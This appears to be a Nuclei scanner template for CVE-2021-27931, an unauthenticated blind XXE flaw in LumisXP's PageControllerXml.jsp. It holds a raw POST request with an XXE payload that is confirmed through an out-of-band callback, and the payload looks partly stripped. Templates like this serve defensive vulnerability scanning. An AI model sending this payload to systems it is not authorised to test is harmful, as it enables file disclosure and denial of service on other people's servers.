id: CVE-2021-27931 info: name: LumisXP Blind XXE author: alph4byt3 severity: critical description: LumisXP (aka Lumis Experience Platform) before 10.0.0 allows unauthenticated blind XXE via an API request to PageControllerXml.jsp. One can send a request crafted with an XXE payload and achieve outcomes such as reading local server files or denial of service. reference: - https://github.com/sl4cky/LumisXP-XXE---POC/blob/main/poc.txt - https://nvd.nist.gov/vuln/detail/CVE-2021-27931 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H cvss-score: 9.10 cve-id: CVE-2021-27931 cwe-id: CWE-611 tags: cve,cve2021,lumis,xxe,oast,blind requests: - raw: - | POST /lumis/portal/controller/xml/PageControllerXml.jsp HTTP/1.1 Host: {{Hostname}} ]> &xxe; matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http"